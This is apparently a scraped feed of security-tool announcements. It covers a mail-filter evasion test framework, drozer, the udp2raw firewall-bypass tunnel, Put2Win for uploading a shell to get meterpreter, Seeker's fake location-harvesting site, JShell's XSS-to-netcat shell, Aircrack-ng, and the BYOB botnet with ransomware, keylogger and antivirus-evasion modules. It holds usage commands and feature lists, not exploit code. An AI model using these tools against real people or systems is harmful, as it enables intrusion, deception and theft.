  • Don't forget to log the test results with --log. Mail filtering providers often reject mails in the SMTP dialog, which is reflected in the generated log.
  • Test cases can be dumped with --output as plain files in a directory, in MBox (--mbox) or MailDir (--maildir) format. This is useful to test mail user agents without sending any mails, to document or review generated test cases.

Development and Extension

Tests
Own tests can be implemented with a class in one of the iexisting or newly created Python files in the tests/ directory. The class must be a subclass of MailTestBase located in the module tests.base of this project. Newly implemented tests are discovered automatically when the class variable active is set to True. Further (if you plan to contribute tests back to the main repository), the class variables identifier, name and description should be set appropriately.
The following base classes exist with methods or class variables intended for overriding:
  • MailTestBase: Test class for generic tests.
    • generateTestCases(): Yields test messages. These should be generated with the MIME* classes from the Python email.mime.* packages or with the Message class from email.message to ensure valid mail messages.
    • active: Boolean value if test should be active.
    • identifier: Short identifier of the test. This one is used to enable or disable tests in parameters.
    • name: Short test title.
    • description: Longer test description, should fit within approximately 100 characters.
    • delivery_sender and delivery_recipient: Boolean values, False by default. Normally, the sender and recipients are set in the message and the Python SMTP module takes them over from there. Sometimes it is desirable to set them explicitely in the SMTP library, which can be configured by setting this values to True.
    • finalizeMessage(msg): By default, the base test class sets the From and To headers accrodingly. This behaviour can be overridden if required for the test case.
  • MailAttachmentTestBase: Test class for attachment test cases. This generates a complete valid mail with a Subject and a text part and attaches the test case to it. Derived from MailTestBase, therefore the methods/variables from it can be overridden here, too.
    • generateAttachments(): Yields test cases as (description, attachment) tuples.
    • subject: Sets the subject. The place holder {} is replaced by the description yielded by generateAttachments().
    • generateTestCases(): is already overridden with an implementation of the message generation described above, but may be further adapted if required.
Setting the subjects of generated messages is highly recommended to be able to recongize the tests in the receiving inbox.

Evasions
Evasion classes implement techniques for evading recognition of particular mail properties by mail security solutions. Currently, a evasion technique that tries to hide attachments from such solutions by intentionally broken Content-Disposition headers is implemented.

Implement new Evasions
Evasions are implemented by a factory class pattern. The DeliveryBase class instantiaties a factory class derived from the BaseEvasionFactory class. The factory constructor receives a flag that indicates if the evasion is activated. The evasion factory instance is then passed to the test class and stored in its evasions attribute that contains a dict with the evasion identifiers as keys. Inside the test, a evasion class (based on EvasionBase) is instantiated with getEvasionGenerator(). The constructor parameter are defined individually per evasion technique.
The following base classes are used to implement evasions:
  • BaseEvasionFactory: Evasion factories must be based on this class. Usually, only the following class variables should be set:
    • active: Set to True if the evasion should be active.
    • identifier: Short identifier of the evasion module used for enabling it in the test configuration.
    • name: Short title of the evasion technique.
    • description: Longer description of the evasion technique. Should fit in approximately 100 characters.
    • generator_evasion: Evasion class that is instantiated if the evasion is enabled.
    • generator_default: Evasion class that is instantiated if the evasion is disabled.
  • BaseEvasion: Implementation of evasions must be a subclass of this base class. The following method must be overridden:
    • __init__(): Should instantiate the class with the base message or attachment that should be manipulated with evasion techniques.
    • generate(): Apply the evasion technique to the object passed to the constructor and yield it to the caller as (description, object with evasion applied) tuple.
Generally, the evasion class should yield all evasion variants and pass the default as dedicated test case, while the default evasion classes only pass the given object or create the required data structures, like headers.

Using Evasion Techniques in Test Cases
Evasion techniques are used in test cases where they are applicable. E.g. if an evasion technique manipulates the header of a mail or attachment, the following steps have to be implemented:
  1. Generate the base object (mail or attachment) without consideration of the evasion.
  2. Instantiate the appropriate evasion class by utilization of the evasion factory instance from self.evasions, e.g.: evasion_items = self.evasions["evasion_identifier"].getEvasionGenerator(message)
  3. Iterate over the generator and yield the test cases:
for evasion_item in evasion_items:
yield evasion_item

Usage of the Content Disposition Evasion Technique
The content disposition evasion technique is already implemented in the framework and should be used for all test cases that target on the recognition of malicious attachments. The constructor receives an attachment and the intended file name. The evasion class then yields (evasion name, attachment with applied evasion technique) tuples that can directly be yielded by the tests generateAttachments() method.


Drozer v2.4.4 - The Leading Security Assessment Framework For Android

$
0
0

drozer (formerly Mercury) is the leading security testing framework for Android.
drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.
drozer provides tools to help you use, share and understand public Android exploits. It helps you to deploy a drozer Agent to a device through exploitation or social engineering. Using weasel (MWR's advanced exploitation payload) drozer is able to maximise the permissions available to it by installing a full agent, injecting a limited agent into a running process, or connecting a reverse shell to act as a Remote Access Tool (RAT).
drozer is open source software, maintained by MWR InfoSecurity, and can be downloaded from: mwr.to/drozer

Prerequisites
  1. Python2.7
Note: On Windows please ensure that the path to the Python installation and the Scripts folder under the Python installation are added to the PATH environment variable.
  1. Protobuf 2.6 or greater
  2. Pyopenssl 16.2 or greater
  3. Twisted 10.2 or greater
  4. Java Development Kit 1.7
Note: On Windows please ensure that the path to javac.exe is added to the PATH environment variable.
  1. Android Debug Bridge

Installing

Building Python wheel
git clone https://github.com/mwrlabs/drozer/
cd drozer
python setup.py bdist_wheel

Installing Python wheel
sudo pip install drozer-2.x.x-py2-none-any.whl

Building for Debian/Ubuntu/Mint
git clone https://github.com/mwrlabs/drozer/
cd drozer
make deb

Installing .deb (Debian/Ubuntu/Mint)
sudo dpkg -i drozer-2.x.x.deb

Building for Redhat/Fedora/CentOS
git clone https://github.com/mwrlabs/drozer/
cd drozer
make rpm

Installing .rpm (Redhat/Fedora/CentOS)
sudo rpm -I drozer-2.x.x-1.noarch.rpm

Building for Windows
NOTE: Windows Defender and other Antivirus software will flag drozer as malware (an exploitation tool without exploit code wouldn't be much fun!). In order to run drozer you would have to add an exception to Windows Defender and any antivirus software. Alternatively, we recommend running drozer in a Windows/Linux VM.
git clone https://github.com/mwrlabs/drozer/
cd drozer
python.exe setup.py bdist_msi

Installing .msi (Windows)
Run dist/drozer-2.x.x.win-x.msi 

Arch Linux
yaourt -S drozer

Usage

Installing the Agent
Drozer can be installed using Android Debug Bridge (adb).
Download the latest Drozer Agent here.
$ adb install drozer-agent-2.x.x.apk

Starting a Session
You should now have the drozer Console installed on your PC, and the Agent running on your test device. Now, you need to connect the two and you’re ready to start exploring.
We will use the server embedded in the drozer Agent to do this.
If using the Android emulator, you need to set up a suitable port forward so that your PC can connect to a TCP socket opened by the Agent inside the emulator, or on the device. By default, drozer uses port 31415:
$ adb forward tcp:31415 tcp:31415
Now, launch the Agent, select the “Embedded Server” option and tap “Enable” to start the server. You should see a notification that the server has started.
Then, on your PC, connect using the drozer Console:
On Linux:
$ drozer console connect
On Windows:
> drozer.bat console connect
If using a real device, the IP address of the device on the network must be specified:
On Linux:
$ drozer console connect --server 192.168.0.10
On Windows:
> drozer.bat console connect --server 192.168.0.10
You should be presented with a drozer command prompt:
selecting f75640f67144d9a3 (unknown sdk 4.1.1)  
dz>
The prompt confirms the Android ID of the device you have connected to, along with the manufacturer, model and Android software version.
You are now ready to start exploring the device.

Command Reference
CommandDescription
runExecutes a drozer module
listShow a list of all drozer modules that can be executed in the current session. This hides modules that you do not have suitable permissions to run.
shellStart an interactive Linux shell on the device, in the context of the Agent process.
cdMounts a particular namespace as the root of session, to avoid having to repeatedly type the full name of a module.
cleanRemove temporary files stored by drozer on the Android device.
contributorsDisplays a list of people who have contributed to the drozer framework and modules in use on your system.
echoPrint text to the console.
exitTerminate the drozer session.
helpDisplay help about a particular command or module.
loadLoad a file containing drozer commands, and execute them in sequence.
moduleFind and install additional drozer modules from the Internet.
permissionsDisplay a list of the permissions granted to the drozer Agent.
setStore a value in a variable that will be passed as an environment variable to any Linux shells spawned by drozer.
unsetRemove a named variable that drozer passes to any Linux shells that it spawns.

Contacting the Project
drozer is Open Source software, made great by contributions from the community.
For full source code, to report bugs, suggest features and contribute patches please see our Github project:
https://github.com/mwrlabs/drozer
Bug reports, feature requests, comments and questions can be submitted here.
Follow the latest drozer news, follow the project on Twitter:
@mwrdrozer


Udp2raw-tunnel - A UDP Tunnel which tunnels UDP via FakeTCP/UDP/ICMP Traffic by using Raw Socket [Bypass UDP FireWalls]

$
0
0

A UDP Tunnel which tunnels UDP via FakeTCP/UDP/ICMP Traffic by using Raw Socket, helps you Bypass UDP FireWalls (or Unstable UDP Environment). Its Encrypted, Anti-Replay and Multiplexed.It also acts as a Connection Stabilizer.

Support Platforms
A Linux host (including desktop Linux, Android phone/tablet, OpenWRT router, or Raspberry PI) with root access.
For Winodws/MacOS, a virtual image with udp2raw pre-installed has been released, you can load it with Vmware/VirtualBox.The virtual image has been set to auto obtain ip, udp2raw can be run immediately after boot finished(make sure network mode of virtual machine has been set to bridged)(only udp2raw has to be run under a virtual machine, all other programs run under Windows/MacOS as usual).

Features

Send / Receive UDP Packet with fake-tcp/icmp headers
Fake-tcp/icmp headers help you bypass UDP blocking, UDP QOS or improper UDP NAT behavior on some ISPs. Raw packets with UDP headers are also supported.In UDP header mode, it behaves just like a normal UDP tunnel, and you can just make use of the other features.

Simulate TCP Handshake
Simulates the 3-way handshake, along with seq and ack_seq. TCP options MSS, sackOk, TS, TS_ack, wscale are also simulated. Real-time delivery guaranteed, no TCP over TCP problem when using OpenVPN.

Encryption, Anti-Replay, No MITM
  • Encrypt your traffic with AES-128-CBC.
  • Protect data integrity by MD5 or CRC32.
  • Defense replay attack with an anti-replay window, similar to IPSec and OpenVPN.
  • Authenticate mutually, no MITM attacks.

Failure Detection & Stabilization (Connection Recovery)
Connection failures are detected by heartbeats. If timed-out, the client will automatically change port number and reconnect. If reconnection is successful, the previous connection will be recovered, and all existing UDP conversations will stay valid.
For example, if you use UDP2RAW + OpenVPN, OpenVPN won't lose connection after any reconnect, even if the network cable is re-plugged or the WiFi access point is changed.

Other Features
  • Multiplexing One client can handle multiple UDP connections, all of which share the same raw connection.
  • Multiple Clients One server can have multiple clients.
  • NAT Support All of the 3 modes work in NAT environments.
  • OpenVZ Support Tested on BandwagonHost.
  • OpenWRT Support No dependencies, easy to build. Binary for ar71xx are included in release.

Keywords
UDP QoS BypassUDP Blocking BypassOpenVPN TCP over TCP problemOpenVPN over ICMPUDP to ICMP tunnelUDP to TCP tunnelUDP over ICMPUDP over TCP

Getting Started

Installing
Download binary release from https://github.com/wangyu-/udp2raw-tunnel/releases

Running
Assume your UDP is blocked or being QOS-ed or just poorly supported. Assume your server ip is 44.55.66.77, you have a service listening on udp port 7777.
# Run at server side:
./udp2raw_amd64 -s -l0.0.0.0:4096 -r 127.0.0.1:7777 -a -k "passwd" --raw-mode faketcp

# Run at client side
./udp2raw_amd64 -c -l0.0.0.0:3333 -r44.55.66.77:4096 -a -k "passwd" --raw-mode faketcp

Server Output:


Client Output:



Now, an encrypted raw tunnel has been established between client and server through TCP port 4096. Connecting to UDP port 3333 at the client side is equivalent to connecting to port 7777 at the server side. No UDP traffic will be exposed.

Note
to run on Android, see Android_Guide

Advanced Topic

Usage
udp2raw-tunnel
version: Aug 18 2017 00:29:11
repository: https://github.com/wangyu-/udp2raw-tunnel

usage:
run as client : ./this_program -c -l local_listen_ip:local_port -r server_ip:server_port [options]
run as server : ./this_program -s -l server_listen_ip:server_port -r remote_ip:remote_port [options]

common options, these options must be same on both side:
--raw-mode <string> avaliable values:faketcp(default), udp, icmp
-k, --key <string> password to gen symetric key, default:"secret key"
--cipher-mode <string> avaliable values:aes128cbc(default), xor, none
--auth-mode <string> avaliable values:md5(default), crc32, simple, none
-a, --auto-rule auto add (and delete) iptables rule
-g, --gen-rule generate iptables rule then exit
--disable-anti-replay disable anti-replay, not suggested
client options:
--source-ip <ip> force source-ip for raw socket
--source-port <port> force source-port for raw socket, tcp/udp only
this option disables port changing while re-connecting
other options:
--log-level <number> 0:never 1:fatal 2:error 3:warn
4:info (default) 5:debug 6:trace
--log-position enable file name, function name, line number in log
--disable-color disable log color
--disable-bpf disable the kernel space filter, most time its not necessary
unless you suspect there is a bug
--sock-buf <number> buf size for socket, >=10 and <=10240, unit:kbyte, default:1024
--seqmode <number> seq increase mode for faketcp:
0:dont increase
1:increase every packet
2:increase randomly, about every 3 packets (default)
--lower-level <string> send packet at OSI level 2, format:'if_name#dest_mac_adress'
ie:'eth0#00:23:45:67:89:b9'.Beta.
-h, --help print this help message

IPTABLES rule
This program sends packets via raw socket. In FakeTCP mode, Linux kernel TCP packet processing has to be blocked by a iptables rule on both sides, otherwise the kernel will automatically send RST for an unrecongized TCP packet and you will sustain from stability / peformance problems. You can use -a option to let the program automatically add / delete iptables rule on start / exit. You can also use the -g option to generate iptables rule and add it manually.

cipher-mode and auth-mode
It is suggested to use aes128cbc + md5 to obtain maximum security. If you want to run the program on a router, you can try xor + simple, which can fool packet inspection by firewalls the most of time, but it cannot protect you from serious attacks. Mode none is only for debugging purpose. It is not recommended to set the cipher-mode or auth-mode to none.

seq-mode
The FakeTCP mode does not behave 100% like a real tcp connection. ISPs may be able to distinguish the simulated tcp traffic from the real TCP traffic (though it's costly). seq-mode can help you change the seq increase behavior slightly. If you experience connection problems, try to change the value.

Peformance Test

Test method:
iperf3 TCP via OpenVPN + udp2raw (iperf3 UDP mode is not used because of a bug mentioned in this issue: https://github.com/esnet/iperf/issues/296 . Instead, we package the TCP traffic into UDP by OpenVPN to test the performance. Read Application for details.

iperf3 command:
iperf3 -c 10.222.2.1 -P40 
iperf3 -c 10.222.2.1 -P40 -R

Environments
  • Client Vultr $2.5/monthly plan (single core 2.4GHz cpu, 512MB RAM, Tokyo, Japan)
  • Server BandwagonHost $3.99/annually plan (single core 2.0GHz cpu, 128MB RAM, Los Angeles, USA)

Test1
raw_mode: faketcp cipher_mode: xor  auth_mode: simple


(reverse speed was simliar and not uploaded)

Test2
raw_mode: faketcp cipher_mode: aes128cbc  auth_mode: md5


(reverse speed was simliar and not uploaded)

Application

tunneling any traffic via raw traffic by using udp2raw +openvpn

  1. bypasses UDP block/UDP QOS
  2. no TCP ovr tcp problem (tcp over tcp problem http://sites.inka.de/bigred/devel/tcp-tcp.html , https://community.openvpn.net/openvpn/ticket/2 )
  3. openvpn over icmp also becomes a choice
more details at openvpn+udp2raw_guide

speed-up tcp connection via raw traffic by using udp2raw+kcptun
kcptun is a tcp connection speed-up program, it speeds-up tcp connection by using kcp protocol on-top of udp.by using udp2raw, you can use kcptun while udp is QoSed or blocked. (kcptun, https://github.com/xtaci/kcptun)

speed-up tcp connection via raw traffic by using udp2raw+finalspeed
finalspeed is a tcp connection speed-up program similiar to kcptun, it speeds-up tcp connection by using kcp protocol on-top of udp or tcp.but its tcp mode doesnt support openvz, you can bypass this problem if you use udp2raw+finalspeed together, and icmp mode also becomes avaliable.

Other

Easier installation on ArchLinux
yaourt -S udp2raw-tunnel # or
pacaur -S udp2raw-tunnel



Put2Win - Script To Automatize Shell Upload By PUT HTTP Method To Get Meterpreter

$
0
0
Script to automatize shell upload by PUT HTTP method to get meterpreter.


Dependencies
It's necessary to have installed nmap and msfvenom tools for a correct operation

Installation
git clone https://github.com/sysdevploit/put2win

Usage
./Put2win.sh -h
This script automatize shell upload by PUT HTTP method to get meterpreter.
Usage: ./Put2win.sh -t TARGET [-p PORT] -u URL_PATH -l LHOST
Examples:
  • ./Put2win.sh -t 192.168.1.80 -u /uploads -l 192.168.1.10
  • ./Put2win.sh -t 192.168.1.80 -p 443 -u /uploads -l 192.168.1.10

Contact
Telegram: @devploit
Twitter: https://www.twitter.com/devploit


Seeker v1.0.7 - Get Accurate Location using a Fake Website

$
0
0

Concept behind Seeker is simple, just like we host phishing pages to get credentials why not host a fake page that requests your loction just like many popular location based websites.
Seeker Hosts a fake website on Apache Server and uses Ngrok, website asks for Location Permission and if the user allows it, we can get :
  • Longitude
  • Latitude
  • Accuracy
  • Altitude - Not always available
  • Direction - Only available if user is moving
  • Speed - Only available if user is moving

Along with Location Information we also get Device Information without any permissions :
  • Operating System
  • Platform
  • Number of CPU Cores
  • Amount of RAM - Approximate Results
  • Screen Resolution
  • GPU information
  • Browser Name and Version
  • Public IP Address
This tool is purely a Proof of Concept and is for Educational Purposes Only, Seeker shows what data a malicious website can gather about you and your devices and why you should not click on random links and allow critical permissions such as Location etc.
  • Other tools and services offer IP Geolocation which is not very accurate and does not give location of user.
  • Generally if a user accepts location permsission, Accuracy of the information recieved is accurate to approximately 30 meters.
Note : On iPhone due to some reason location accuracy is approximately 65 meters.

Tested On :
  • Kali Linux 2018.2
  • Ubuntu 18.04
  • Arch Linux based Distro
  • Termux
  • Kali Linux (WSL)

Installation

Ubuntu/Kali Linux
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod 777 install.sh
./install.sh

# After Installation just type seeker in console

# OR using Docker

# Install docker

curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh

# Build Seeker
cd seeker/
docker build -t seeker .

# Launch seeker
docker run -t --rm seeker


Arch Linux Based Distro
# Install docker

pacman -Syy
pacman -S docker
systemctl start docker.service

# Build Seeker
cd seeker/
docker build -t seeker .

# Launch seeker
docker run -t --rm seeker

Termux
cd seeker/termux
chmod 777 install.sh
./install.sh

# After Installation just type seeker in console
If you are unable to get ngrok url that means ngrok is unable to resolve dns, switch to Mobile Data instead of WiFi and it should work, this is a problem with ngrok.

Demo
Youtube - https://www.youtube.com/watch?v=ggUGPq4cjSM


JShell - Get A JavaScript Shell With XSS

$
0
0
JShell - Get a JavaScript shell with XSS.

Usages
Run shell.py
and JShell will automatically try to detect your IP address, default LPORT is 33.


As you can see the payload has been generated and now all you have to do is to deliver this payload to the victim.

As soon as you do that, you will get a JS shell over netcat where you can execute your JavaScript code in victim's browser as soon as the injected page is open.
Here's a screenshot:


Credits, Disclaimer & License
This script uses the method demostrated by Rodolfo Assis


Aircrack-ng 1.4 - Complete Suite Of Tools To Assess WiFi Network Security

$
0
0

Aircrack-ng is a complete suite of tools to assess WiFi network security.
It focuses on different areas of WiFi security:
  • Monitoring: Packet capture and export of data to text files for further processing by third party tools.
  • Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.
  • Testing: Checking WiFi cards and driver capabilities (capture and injection).
  • Cracking: WEP and WPA PSK (WPA 1 and 2).
All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily Linux but also Windows, OS X, FreeBSD, OpenBSD, NetBSD, as well as Solaris and even eComStation 2.

Aircrack-ng 1.4

It focuses a lot on code quality and adds a few visible features:
  • PMKID cracking
  • Crack 802.11w capture files
  • Speed and memory usage improvement when loading (large) files with Aircrack-ng and Airdecap-ng
  • Packages for Linux distributions and Windows
  • Fix building on various platforms
  • Improved and tweaked our CI/CD processes
  • Using new CI/CD tools for our buildbots and packaging, PyDeployer
  • Almost doubled the amount of tests

PMKID

On routers with 802.11i/p/r, the AP can cache an "ID" for the connection so roaming clients don't have to waste frames reauthenticating and just use the PMKID, which helps decrease a bit the latency (from 6 frames to only 2).

Calculation is of the PMKID is done this way:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | BSSID | STA MAC)

A big advantage here is that this PMKID is present in the first EAPoL frame of the 4-way handshake.

A few caveats about this attack:
  • Sometimes APs send empty PMKID
  • It doesn't work on WPA/WPA2 Enterprise networks

When loading a PCAP, Aircrack-ng will detect if it contains a PMKID. In the following screenshot, it is present for the network ogogo, notice the "with PMKID" on the same line:


When selecting the network, it will use it as if it were a regular PCAP with a handshake (and thus the wordlist requirement applies).

If you'd like to test, two capture files with PMKID are available this test files:
More details about the attack itself can be found in this post.

More info: https://aircrack-ng.blogspot.com/2018/09/aircrack-ng-14.html

Install

git clone https://github.com/aircrack-ng/aircrack-ng
cd aircrack-ng
./autogen.sh
make
make install
cd src/
aircrack-ng

BYOB - Build Your Own Botnet

$
0
0

BYOB (Build Your Own Botnet)

Disclaimer: This project should be used for authorized testing or educational purposes only.
BYOB is an open-source project that provides a framework for security researchers and developers to build and operate a basic botnet to deepen their understanding of the sophisticated malware that infects millions of devices every year and spawns modern botnets, in order to improve their ability to develop counter-measures against these threats.
It is designed to allow developers to easily implement their own code and add cool new features without having to write a RAT (Remote Administration Tool) or a C2 (Command & Control server) from scratch.
The RAT's key feature is that arbitrary code/files can be remotely loaded into memory from the C2 and executed on the target machine without writing anything to the disk.

Server
usage: server.py [-h] [-v] [--host HOST] [--port PORT] [--database DATABASE]
Command & control server with persistent database and console
  • Console-Based User-Interface: streamlined console interface for controlling client host machines remotely via reverse TCP shells which provide direct terminal access to the client host machines
  • Persistent SQLite Database: lightweight database that stores identifying information about client host machines, allowing reverse TCP shell sessions to persist through disconnections of arbitrary duration and enabling long-term reconnaissance
  • Client-Server Architecture: all python packages/modules installed locally are automatically made available for clients to remotely import without writing them to the disk of the target machines, allowing clients to use modules which require packages not installed on the target machines

Client
usage: client.py [-h] [-v] [--name NAME] [--icon ICON] [--pastebin API] [--encrypt] [--obfuscate] [--compress] [--compile] host port [module [module ...]]
Generate fully-undetectable clients with staged payloads, remote imports, and unlimited modules
  • Remote Imports: remotely import third-party packages from the server without writing them to the disk or downloading/installing them
  • Nothing Written To The Disk: clients never write anything to the disk - not even temporary files (zero IO system calls are made) because remote imports allow arbitrary code to be dynamically loaded into memory and directly imported into the currently running process
  • Zero Dependencies (Not Even Python Itself): client runs with just the python standard library, remotely imports any non-standard packages/modules from the server, and can be compiled with a standalone python interpreter into a portable binary executable formatted for any platform/architecture, allowing it to run on anything, even when Python itself is missing on the target host
  • Add New Features With Just 1 Click: any python script, module, or package you to copy to the ./byob/modules/ directory automatically becomes remotely importable & directly usable by every client while your command & control server is running
  • Write Your Own Modules: a basic module template is provided in ./byob/modules/ directory to make writing your own modules a straight-forward, hassle-free process
  • Run Unlimited Modules Without Bloating File Size: use remote imports to add unlimited features without adding a single byte to the client's file size
  • Fully Updatable: each client will periodically check the server for new content available for remote import, and will dynamically update its in-memory resources if anything has been added/removed
  • Platform Independent: everything is written in Python (a platform-agnostic language) and the clients generated can optionally be compiled into portable executable (Windows) or bundled into an standalone application (macOS)
  • Bypass Firewalls: clients connect to the command & control server via reverse TCP connections, which will bypass most firewalls because the default filter configurations primarily block incoming connections
  • Counter-Measure Against Antivirus: avoids being analyzed by antivirus by blocking processes with names of known antivirus products from spawning
  • Encrypt Payloads To Prevent Analysis: the main client payload is encrypted with a random 256-bit key which exists solely in the payload stager which is generated along with it
  • Prevent Reverse-Engineering: by default, clients will abort execution if a virtual machine or sandbox is detected

Modules
Post-exploitation modules that are remotely importable by clients
  1. Keylogger (byob.modules.keylogger): logs the user’s keystrokes & the window name entered
  2. Screenshot (byob.modules.screenshot): take a screenshot of current user’s desktop
  3. Webcam (byob.modules.webcam): view a live stream or capture image/video from the webcam
  4. Ransom (byob.modules.ransom): encrypt files & generate random BTC wallet for ransom payment
  5. Outlook (byob.modules.outlook): read/search/upload emails from the local Outlook client
  6. Packet Sniffer (byob.modules.packetsniffer): run a packet sniffer on the host network & upload .pcap file
  7. Persistence (byob.modules.persistence): establish persistence on the host machine using 5 different methods
  8. Phone (byob.modules.phone): read/search/upload text messages from the client smartphone
  9. Escalate Privileges (byob.modules.escalate): attempt UAC bypass to gain unauthorized administrator privileges
  10. Port Scanner (byob.modules.portscanner): scan the local network for other online devices & open ports
  11. Process Control (byob.modules.process): list/search/kill/monitor currently running processes on the host

Core
Core framework modules used by the generator and the server
  1. Utilities (byob.core.util): miscellaneous utility functions that are used by many modules
  2. Security (byob.core.security): Diffie-Hellman IKE & 3 encryption modes (AES-256-OCB, AES-256-CBC, XOR-128)
  3. Loaders (byob.core.loaders): remotely import any package/module/scripts from the server
  4. Payloads (byob.core.payloads): reverse TCP shell designed to remotely import dependencies, packages & modules
  5. Stagers (byob.core.stagers): generate unique payload stagers to prevent analysis & detection
  6. Generators (byob.core.generators): functions which all dynamically generate code for the client generator
  7. Database (byob.core.database): handles interaction between command & control server and the SQLite database

    Contact
    Website: https://malwared.com
    Email: security@malwared.com
    Twitterhttps://twitter.com/malwaredllc


    Viewing all 5843 articles
    Browse latest View live


    <script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>